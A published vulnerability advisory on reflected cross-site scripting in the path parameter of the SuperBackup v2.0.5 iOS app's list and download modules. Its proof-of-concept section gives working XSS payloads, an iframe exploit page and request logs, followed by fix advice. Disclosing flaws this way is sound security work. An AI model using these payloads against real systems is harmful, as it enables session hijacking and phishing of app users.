Lucene search
K

SuperBackup v2.0.5 - Multiple Site Scripting Vulnerabilities

SuperBackup v2.0.5 ios mobile app has multiple non-persistent cross site scripting vulnerabilities allowing remote attackers to inject malicious scripts

Code
Document Title:
===============
SuperBackup v2.0.5 - Multiple Site Scripting Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2201


Release Date:
=============
2020-04-22


Vulnerability Laboratory ID (VL-ID):
====================================
2201


Common Vulnerability Scoring System:
====================================
4.3


Vulnerability Class:
====================
Multiple


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Backup all your iPhone or iPad contacts in 1 tap and export them. Fastest way to restore contacts from PC or Mac.
Export by mailing the backed up contacts file to yourself. Export contacts file to any other app on your device.
Export all contacts directly to your PC / Mac over Wifi, no software needed! Restore any contacts directly from
PC / Mac. Restore contacts via mail. Get the ultimate contacts backup app now.

(Copy of the Homepage: https://apps.apple.com/us/app/super-backup-export-import/id1052684097 )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple non-persistent cross site web vulnerabilities in the official SuperBackup v2.0.5 ios mobile application.


Affected Product(s):
====================
Dropouts Technologies LLP
Product: Super Backup v2.0.5


Vulnerability Disclosure Timeline:
==================================
2020-04-23: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Pre Auth (No Privileges or Session)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
Multiple cross site scripting web vulnerabilities has been discovered in the official SuperBackup v2.0.5 ios mobile application.
The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise 
browser to web-application requests from the client-side. The product is publicly certified by the BSI in germany and owns a 
security policy against backdoors.

The cross site scripting vulnerabilities are located in the path parameter of the list and download module. Remote attackers are 
able to inject own malicious non-persistent script code to client-side requests. The request method to inject is GET and the attack 
vector is located on the client-side. Attackers are able to exploit the path variable for manipulations.

Remote attackers are able to inject own script codes to the client-side requested vulnerable web-application parameters. The attack vector of 
the vulnerability is non-persistent and the request method to inject/execute is POST/GET. The vulnerabilities are classic client-side cross 
site scripting vulnerabilities. Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, 
non-persistent external redirects to malicious source and non-persistent manipulation of affected or connected application modules.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] list
[+] download

Vulnerable Parameter(s):
[+] path


Proof of Concept (PoC):
=======================
The cross site scripting vulnerability can be exploited by remote attackers without privileged user account and with low user interaction.
For security demonstration or to reproduce the cross site scripting vulnerability follow the provided information and steps below to continue.


PoC: Payload
>"<a onmouseover=alert(document.domain)>test</a>


PoC: Vulnerable Source
<!DOCTYPE html><html lang="en"><head><meta charset="utf-8">
<title>HTTP Error 404</title></head><body><h1>HTTP Error 404: &quot;
<iframe src=evil.source>&quot; does not exist</h1><h3></h3></body></html>


PoC: Exploitation
<html>
<head><body><title>SUPER BACKUP IOS XSS POC</title>
<iframe src=http://localhost/list?path=>"<a onmouseover=alert(document.domain)>test</a>
<iframe src=http://localhost/download?path=>"<img%20src=evil.source%20onload=alert(document.domain)>%20>
</body></head>
</html>


--- PoC Session Logs [GET] ---
http://localhost/download?path=>"<a onmouseover=alert(document.domain)>test</a>
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
-
GET: HTTP/1.1 200 OK
Content-Length: 190
Content-Type: text/html; charset=utf-8
Connection: Close
Server: GCDWebUploader
-
http://localhost/evil.source
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://localhost/download?path=>"<a onmouseover=alert(document.domain)>test</a>
Upgrade-Insecure-Requests: 1
-
GET: HTTP/1.1 200 OK
Server: GCDWebUploader
Connection: Close


References:
http://localhost/list?path=
http://localhost/download?path=


Solution - Fix & Patch:
=======================
1. Restrict the input of the vcf name / filename and disallow special chars
2. Parse and encode the parameter to filter malicious contents
3. Sanitize in the listing the to prevent the execution point on index


Security Risk:
==============
The security risk of the cross site scripting web vulnerabilities in the super backup mobile application are estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab 
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits 
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do 
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com		www.vuln-lab.com				www.vulnerability-db.com
Services:   magazine.vulnerability-lab.com	paste.vulnerability-db.com 			infosec.vulnerability-db.com
Social:	    twitter.com/vuln_lab		facebook.com/VulnerabilityLab 			youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	vulnerability-lab.com/rss/rss_upcoming.php 	vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	vulnerability-lab.com/register.php  vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other 
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or 
edit our material contact (admin@ or research@) to get a ask permission.

				    Copyright © 2020 | Vulnerability Laboratory - [Evolution Security GmbH]™



Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation